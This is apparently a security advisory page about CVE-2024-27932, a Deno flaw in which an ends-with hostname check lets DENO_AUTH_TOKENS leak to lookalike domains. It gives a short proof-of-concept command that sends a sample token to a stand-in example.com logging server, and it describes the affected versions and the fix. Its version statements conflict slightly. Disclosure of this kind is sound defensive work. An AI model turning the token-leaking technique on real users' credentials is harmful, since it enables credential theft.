CVE-2024-27932: Deno's improper suffix match testing for DENO_AUTH_TOKENS

Published Mar 6, 2024
·
Updated

Summary

Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.

Details

authtokens.rs uses a simple endswith check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.

PoC

- Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com. - Run DENOAUTHTOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example, DENOAUTHTOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain

Impact What kind of vulnerability is it? Who is impacted? Anyone who uses DENOAUTHTOKENS and imports potentially untrusted code is affected.

Other sources

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example[.]com may be sent to notexample[.]com. Anyone who uses DENOAUTHTOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue

— MITRE

Affected Software

2 affected componentsFixes available
rust/deno>=1.8.0<1.40.4
1.40.4
deno deno>=1.8.0<1.40.4

Event History

Mar 6, 2024
Advisory Published
via GitHub·05:03 PM
CVE Published
via MITRE·08:45 PM
Data Sourced
via MITRE·08:45 PM
DescriptionSeverityWeakness
Mar 21, 2024
Data Sourced
via NVD·02:52 AM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2024-27932?

CVE-2024-27932 has a high severity rating due to the risk of sensitive tokens being inadvertently sent to incorrect servers.

2

How do I fix CVE-2024-27932?

To mitigate CVE-2024-27932, update Deno to version 1.40.4 or later.

3

What causes CVE-2024-27932?

CVE-2024-27932 occurs because Deno improperly verifies that an import specifier's hostname matches the expected token's hostname.

4

Which versions of Deno are affected by CVE-2024-27932?

Deno versions from 1.8.0 to 1.40.4 are affected by CVE-2024-27932.

5

What are the potential risks associated with CVE-2024-27932?

The main risk of CVE-2024-27932 is that authentic tokens intended for a specific server may be exposed to malicious servers, leading to unauthorized access.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203